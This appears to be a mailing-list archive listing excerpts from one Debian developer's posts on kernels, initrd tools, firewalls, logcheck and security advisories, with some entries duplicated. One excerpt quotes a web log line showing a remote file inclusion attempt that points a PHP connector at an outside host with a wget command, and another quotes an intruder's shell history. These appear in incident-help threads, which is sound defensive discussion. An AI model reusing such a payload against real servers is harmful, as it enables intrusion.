Re: [Yaird-devel] Bug#496500: yaird: fails to create initrd when running 2.6.24 etchnhalf kernel

2008-08-26 Thread maximilian attems
On Mon, 25 Aug 2008, Jonas Smedegaard wrote: +1021_new-style_firewire.patch etch+half kernel has old ieee1394, no need for that one. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]

Re: [Yaird-devel] Bug#496500: yaird: fails to create initrd when running 2.6.24 etchnhalf kernel

2008-08-25 Thread Maximilian Attems
On Mon, Aug 25, 2008 at 12:26 PM, Jonas Smedegaard [EMAIL PROTECTED] wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, Aug 25, 2008 at 04:29:39PM +0800, James Andrewartha wrote: Package: yaird Version: 0.0.12-18 Severity: important This is bug 431534, exposed again because stable

Re: Why not have firewall rules by default?

2008-01-23 Thread maximilian attems
On Wed, Jan 23, 2008 at 08:29:25AM -0700, Michael Loftis wrote: It's better to leave the service disabled, or even better, completely uninstalled from a security standpoint, and from a DoS standpoint as well. The Linux kernel isn't very efficient at processing firewall rules. Newer

Re: linux-2.6 records

2007-12-17 Thread maximilian attems
On Mon, 17 Dec 2007, Nico Golde wrote: Thanks very much for letting us know, I marked the reported CVE ids as fixed in the reported versions. thanks a lot! ok now easier to go through, state better then thought :) CVE-2006-7051 d02479bdeb1c9b037892061cdcf4e730183391fa v2.6.23-rc4 2.6.23-1

Re: initrd without root console?

2007-03-11 Thread maximilian attems
hello, On Sun, Mar 11, 2007 at 10:53:34AM +0100, Harald Krammer wrote: Hi! I saw new behavior in Debian / Etch and I am not sure what I should think about. If the boot-up fails to mount the root-disk then I will get a root console without any password authentication. Is it easy possible to

Re: ***DEB*: Re: help needed

2006-11-06 Thread maximilian attems
On Mon, Nov 06, 2006 at 06:21:26PM +0100, Fuzzums wrote: 213.215.135.124 - - [03/Nov/2006:17:26:03 +0100] GET http://85.214.18.193/manager/media/browser/mcpuk/connectors/php/Commands/Thumbnail.php?base_path=http://213.202.214.106/CMD.gif?cmd=wget HTTP/1.0 403 495

Re: Target filesystem

2006-06-09 Thread maximilian attems
On Fri, Jun 09, 2006 at 07:47:45AM -0400, Brent Clark wrote: Hey all I seem to be experiencing problems booting up (Thank goodness for Knoppix) There are a host of errors, but the end message is: Target filesystem doesn't have /sbin/init /bin/sh: can't access tty; job control turned off

Re: [sec] debian patched linux kernels

2004-08-16 Thread maximilian attems
On Mon, 16 Aug 2004, LeVA wrote: Hi! Is the debian patched kernels are preferred for server/desktop use, or they are just minor cosmetic patches? what is the difference between the kernel.org's kernel source and the debian patched kernel sources? long version read debian/changelog of

Bug#241236: [patch] ignore files in ignore.d.violations without prefix

2004-03-31 Thread maximilian attems
Package: logcheck Version: 1.2.16 Severity: wishlist Tags: patch hello steve kemp, this patches allows the user to _really_ write his own files in ignore.d.violations previous they had to have the prefix logcheck-, which isn't handy, not documented and therefor seems to be a bug .. took some

Bug#241236: [patch] ignore files in ignore.d.violations without prefix

2004-03-31 Thread maximilian attems
Package: logcheck Version: 1.2.16 Severity: wishlist Tags: patch hello steve kemp, this patches allows the user to _really_ write his own files in ignore.d.violations previous they had to have the prefix logcheck-, which isn't handy, not documented and therefor seems to be a bug .. took some

Re: [sec] Time for apt-secure?

2003-11-27 Thread maximilian attems
On Thu, 27 Nov 2003, Camillo Särs wrote: I am using apt-secure, but it's not part of stable. What's the real plan for apt-secure, will it be standard in the next major release? AFAIK, there are many wrinkles to be ironed out... i agree that it would be nice to have the choice of an

[check] DSA vulnerabilities sarge

2003-10-14 Thread maximilian attems
hi, i checked almost all DSA since woody release (DSA 133) the resume is: on a clean exposed sarge install the vast majority of DSA is resolved, but you better not run kde, sendmail, mysql, perl (cgi), php, tomcat or imagemagick. you'll find below the report listing security alerts affecting

[check] DSA vulnerabilities sarge

2003-10-14 Thread maximilian attems
hi, i checked almost all DSA since woody release (DSA 133) the resume is: on a clean exposed sarge install the vast majority of DSA is resolved, but you better not run kde, sendmail, mysql, perl (cgi), php, tomcat or imagemagick. you'll find below the report listing security alerts affecting

Re: [sec] Re: Strange segmentation faults and Zombies

2003-09-18 Thread maximilian attems
On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid

Re: [sec] Re: Strange segmentation faults and Zombies

2003-09-18 Thread maximilian attems
On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid